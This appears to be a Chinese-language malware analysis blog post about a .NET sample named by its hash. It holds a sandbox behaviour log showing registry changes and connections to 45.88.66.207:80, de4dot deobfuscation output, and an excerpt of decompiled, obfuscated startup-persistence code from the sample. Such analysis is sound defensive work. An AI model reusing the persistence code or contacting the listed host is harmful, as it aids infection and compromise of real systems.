09:37:10:539,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:4972,  9028,   FILE_chmod, C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:539,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:4960,  9028,   FILE_chmod, C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:617,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\Microsoft.NET\Framework, filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:10:679,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config,    offset:0x00000000 datalen:0x00000FFF ,  0x00000000 [The operation completed successfully.  ],  
09:37:10:695,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib,    filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:10:695,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\f2d02f64584169cfed0597e2d00f0a67\mscorlib.ni.dll.aux,   offset:0x00000000 datalen:0x000000B0 ,  0x00000000 [The operation completed successfully.  ],  
09:37:10:695,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\f2d02f64584169cfed0597e2d00f0a67\mscorlib.ni.dll,   base:0x000000006FDD0000 size:0x0140E000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:10:710,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config,    offset:0x00000000 datalen:0x00000FFF ,  0x00000000 [The operation completed successfully.  ],  
09:37:10:710,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#,    filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:10:710,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\03a6965bc1bb789f37779e8951ecafc7\Microsoft.VisualBasic.ni.dll.aux,  offset:0x00000000 datalen:0x000006AC ,  0x00000000 [The operation completed successfully.  ],  
09:37:10:710,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System,  filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:10:710,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System\d06666c43ff6c690db91fd4cde7ddf1c\System.ni.dll.aux,   offset:0x00000000 datalen:0x0000026C ,  0x00000000 [The operation completed successfully.  ],  
09:37:10:758,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System\d06666c43ff6c690db91fd4cde7ddf1c\System.ni.dll,   base:0x000000006F370000 size:0x00A55000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:10:758,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core, filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:10:758,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\55a85a201d7cfebdc16d4357e3c4efb2\System.Core.ni.dll.aux, offset:0x00000000 datalen:0x00000384 ,  0x00000000 [The operation completed successfully.  ],  
09:37:10:789,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\55a85a201d7cfebdc16d4357e3c4efb2\System.Core.ni.dll, base:0x000000006EB50000 size:0x00818000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:10:821,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\03a6965bc1bb789f37779e8951ecafc7\Microsoft.VisualBasic.ni.dll,  base:0x00000000730B0000 size:0x001E2000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:11:043,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms,    filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:11:055,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\37c31fb353175d6efd4ca9dc426cab68\System.Windows.Forms.ni.dll.aux,   offset:0x00000000 datalen:0x000006B8 ,  0x00000000 [The operation completed successfully.  ],  
09:37:11:055,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\59978a45568399ef08cfe99da6a725bb\System.Windows.Forms.ni.dll.aux,   offset:0x00000000 datalen:0x000006B8 ,  0x00000000 [The operation completed successfully.  ],  
09:37:11:055,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\dd2f3bb5941e68b9d4d6affbe6fcc632\System.Windows.Forms.ni.dll.aux,   offset:0x00000000 datalen:0x000006B8 ,  0x00000000 [The operation completed successfully.  ],  
09:37:11:070,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing,  filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:11:070,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\167c4b04ac34ab24a58f841c21862a3e\System.Drawing.ni.dll.aux,   offset:0x00000000 datalen:0x00000248 ,  0x00000000 [The operation completed successfully.  ],  
09:37:11:070,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\67e34187cff6cf0d7e49a0b354229d26\System.Drawing.ni.dll.aux,   offset:0x00000000 datalen:0x00000248 ,  0x00000000 [The operation completed successfully.  ],  
09:37:11:070,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\ef599b69e76b0aaae802df819481912b\System.Drawing.ni.dll.aux,   offset:0x00000000 datalen:0x00000248 ,  0x00000000 [The operation completed successfully.  ],  
09:37:11:070,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\ef599b69e76b0aaae802df819481912b\System.Drawing.ni.dll,   base:0x0000000072B50000 size:0x001A3000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:11:101,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\dd2f3bb5941e68b9d4d6affbe6fcc632\System.Windows.Forms.ni.dll,   base:0x000000006DCE0000 size:0x00E68000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:12:182,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration,    filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:12:182,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\6b3b4bf6dbe30207f4ef50f235d9a8ab\System.Configuration.ni.dll.aux,   offset:0x00000000 datalen:0x00000360 ,  0x00000000 [The operation completed successfully.  ],  
09:37:12:182,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\6b3b4bf6dbe30207f4ef50f235d9a8ab\System.Configuration.ni.dll,   base:0x0000000072420000 size:0x00106000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:12:213,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml,  filter:'*' ,    0x00000000 [The operation completed successfully.  ],  
09:37:12:213,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\7f615844ab7c9db651cca958c10624f5\System.Xml.ni.dll.aux,   offset:0x00000000 datalen:0x000002EC ,  0x00000000 [The operation completed successfully.  ],  
09:37:12:228,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\7f615844ab7c9db651cca958c10624f5\System.Xml.ni.dll,   base:0x000000006D330000 size:0x00774000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:12:244,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config,    offset:0x00000000 datalen:0x00000FFF ,  0x00000000 [The operation completed successfully.  ],  
09:37:12:244,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config,    offset:0x00000000 datalen:0x00001000 ,  0x00000000 [The operation completed successfully.  ],  
09:37:12:260,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll, base:0x0000000072F60000 size:0x0008E000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:12:275,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_module_load,   C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.17763.737_none_7e4e6d38762cf81f\GdiPlus.dll,   base:0x000000006D1C0000 size:0x0016F000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:16:197,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  offset:0x00000000 datalen:0x000D2C00 ,  0x00000000 [The operation completed successfully.  ],  
09:37:16:197,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   PROC_exec,  C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  target_pid:2092 cmdline:'"C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe"' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:793,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:0, 9028,   EXEC_create,    C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  parent_pid:9028 cmdline:'"C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe"' image_base:0x0000000000E70000 image_size:0x000D8000 , 0x00000000 [The operation completed successfully.  ],  
09:37:48:808,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:8300,  9028,   FILE_truncate,  C:\Users\bonelee\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe.log,    eof:0x00000000 ,    0x00000000 [The operation completed successfully.  ],  
09:37:48:808,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:8300,  9028,   FILE_write, C:\Users\bonelee\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe.log,    offset:0x00000000 datalen:0x000005E6 ,  0x00000000 [The operation completed successfully.  ],  
09:37:48:808,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:8300,  9028,   FILE_read,  C:\Users\bonelee\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe.log,    offset:0x00000000 datalen:0x00000002 ,  0x00000000 [The operation completed successfully.  ],  
09:37:48:808,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   FILE_modified,  C:\Users\bonelee\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe.log,    ,   0x00000000 [The operation completed successfully.  ],  
09:37:48:808,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:0, 9028,   EXEC_module_load,   C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.17763.737_none_7e4e6d38762cf81f\GdiPlus.dll,   base:0x000000006D1C0000 size:0x0016F000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:48:839,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_destroy,   C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  parent_pid:8200 cmdline:'C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe' ,   0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:4724,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix, type:0x00000001 datalen:2 data:'00 ' ,  0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:4724,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix, type:0x00000001 datalen:16 data:'43 6F 6F 6B 69 65 3A 00 ' ,    0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:4724,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix, type:0x00000001 datalen:18 data:'56 69 73 69 74 65 64 3A 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass,   type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName,  type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet, type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect,    type:0x00000004 datalen:4 data:'00 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass,   type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName,  type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet, type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:855,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect,    type:0x00000004 datalen:4 data:'00 00 00 00 ' , 0x00000000 [The operation completed successfully.  ],  
09:37:48:871,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:1484,  9028,   NET_connect,    45.88.66.207:80,    protocol:(TCP)0 ,   0x00000000 [The operation completed successfully.  ],  
09:37:57:432,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:4724,  9028,   NET_connect,    45.88.66.207:80,    protocol:(TCP)0 ,   0x00000000 [The operation completed successfully.  ],  
09:38:04:740,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   2092:0, 9028,   EXEC_destroy,   C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  parent_pid:9028 cmdline:'"C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe"' , 0x00000000 [The operation completed successfully.  ],  

　　

可以看到有网络连接：

 

 

混淆了：

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
D:\app\de4dot-built-binaries-main\net45>de4dot.exe -d D:\Downloads\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe
 
de4dot v3.1.41592.3405
 
Detected DeepSea 4.1 (D:\Downloads\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe)
 
D:\app\de4dot-built-binaries-main\net45>de4dot.exe  D:\Downloads\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe
 
de4dot v3.1.41592.3405
 
Detected DeepSea 4.1 (D:\Downloads\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe)
Cleaning D:\Downloads\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe
Renaming all obfuscated symbols
ERROR: Could not resolve MethodRef Jw97Bt.Kz97Rd/b7KXo3.r1L9Hg Jw97Bt.Kz97Rd/f2D0Sc.y5C8Sj<Jw97Bt.Kz97Rd/b7KXo3.r1L9Hg>::N() (0A00002D) (from Gk73K -> Gk73K)
WARNING: Could not find resource WindowsApp1.Resources
Saving D:\Downloads\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d-cleaned.exe
Ignored 4 warnings/errors
Use -v/-vv option or set environment variable SHOWALLMESSAGES=1 to see all messages

　　

混淆的关键代码：

 

extrac出来看看，依然是混淆了！继续反混淆，看到的代码样子类似如下：

 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
 
namespace FIFAWORLDCUP
{
    // Token: 0x0200001C RID: 28
    public class Class12_Startup
    {
        // Token: 0x06000115 RID: 277 RVA: 0x0001E810 File Offset: 0x0001CA10
        internal static bool FinishContinuations(string string_0, string string_1, string string_2, bool bool_0)
        {
            bool flag = Convert.ToInt32((double)-18693f) + Convert.ToInt32(42805.0 + Math.Round(42805.5)) / <Module>.ValidateKeyView(int.Parse("7")) - Convert.ToInt32((double)66917f) / <Module>.ValidateKeyView(int.Parse("9")) != 0;
            using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(string_0, Convert.ToInt32((double)-25980f) + Convert.ToInt32(3328.5026746201584 - Math.Cos(1664.0)) / <Module>.ValidateKeyView(int.Parse("13")) + Convert.ToInt32((double)22652f) / <Module>.ValidateKeyView(int.Parse("9")) - Type.EmptyTypes.Length + Type.EmptyTypes.Length != 0))
            {
                if (((registryKey == null) ? (Convert.ToInt32(1742.71775024737 + Math.Tan(878.0)) / <Module>.ValidateKeyView(int.Parse("1")) + Convert.ToInt32(71261.0 - Math.Round(23753.5)) / <Module>.ValidateKeyView(int.Parse("7")) - Convert.ToInt32(49258.60850913985 + Math.Log10(24631.5)) / <Module>.ValidateKeyView(int.Parse("4")) + Type.EmptyTypes.Length + Type.EmptyTypes.Length) : ((registryKey.GetValue(string_1) == null) ? 1 : 0)) != 0)
                {
                    flag = (Convert.ToInt32((double)-2769f) + Convert.ToInt32(101784.0 - Math.Ceiling(33928.0)) / <Module>.ValidateKeyView(int.Parse("11")) - Convert.ToInt32(32543.0 + Math.Ceiling(32543.5)) / <Module>.ValidateKeyView(int.Parse("5")) + Type.EmptyTypes.Length + Type.EmptyTypes.Length != 0);
                }
                else if ((registryKey.GetValue(string_1).ToString().Contains(string_2) ? 1 : 0) == (int.Parse("-794158252") ^ int.Parse("794070017")) + Convert.ToInt32(62933.30313586881 - Math.Sin(31466.5)) / <Module>.ValidateKeyView(int.Parse("5")) + Convert.ToInt32((double)29398f) / <Module>.ValidateKeyView(int.Parse("5")) + Type.EmptyTypes.Length + Type.EmptyTypes.Length)
                {
                    flag = ((int.Parse("-307881638") ^ int.Parse("307845457")) + Convert.ToInt32(7068.198817555759 - Math.Sqrt(3504.5)) / <Module>.ValidateKeyView(int.Parse("4")) + (int.Parse("63199555") ^ int.Parse("63241687")) / <Module>.ValidateKeyView(int.Parse("10")) - Type.EmptyTypes.Length - Type.EmptyTypes.Length != 0);
                }
                if ((flag ? 1 : 0) == Convert.ToInt32(31794.857105094576 - Math.Cos(15897.0)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32((double)23443f) / <Module>.ValidateKeyView(int.Parse("14")) - Convert.ToInt32(27618.0 + Math.Ceiling(27618.5)) / <Module>.ValidateKeyView(int.Parse("2")) + Type.EmptyTypes.Length + Type.EmptyTypes.Length)
                {
                    if (bool_0)
                    {
                        string_2 = Class12_Startup.ReservedMask(string_0, string_1, string_2);
                    }
                    Class12_Startup.DontWriteAnything(string_0, string_1, string_2);
                }
            }
            return flag;
        }
 
        // Token: 0x06000116 RID: 278 RVA: 0x0001EBC8 File Offset: 0x0001CDC8
        private static string ReservedMask(string string_0, string string_1, string string_2)
        {
            using (Registry.CurrentUser.OpenSubKey(string_0, Convert.ToInt32(17167.5 - Math.Abs(5722.5)) / <Module>.ValidateKeyView(int.Parse("6")) + Convert.ToInt32(25950.840024526984 + Math.Sqrt(13032.5)) / <Module>.ValidateKeyView(int.Parse("1")) - Convert.ToInt32(37509.68172000347 - Math.Tan(18755.0)) / <Module>.ValidateKeyView(int.Parse("4")) - Type.EmptyTypes.Length + Type.EmptyTypes.Length != 0))
            {
                string_2 = Registry.LocalMachine.OpenSubKey(string_0, Convert.ToInt32(88436.64557945158 - Math.Log10(44216.0)) / <Module>.ValidateKeyView(int.Parse("4")) + Convert.ToInt32(5106.0 - Math.Truncate(1702.0)) / <Module>.ValidateKeyView(int.Parse("9")) - Convert.ToInt32(91836.52286918914 - Math.Tan(45918.0)) / <Module>.ValidateKeyView(int.Parse("7")) - Type.EmptyTypes.Length - Type.EmptyTypes.Length != 0).GetValue(string_1).ToString() + "," + string_2 + ",";
            }
            return string_2;
        }
 
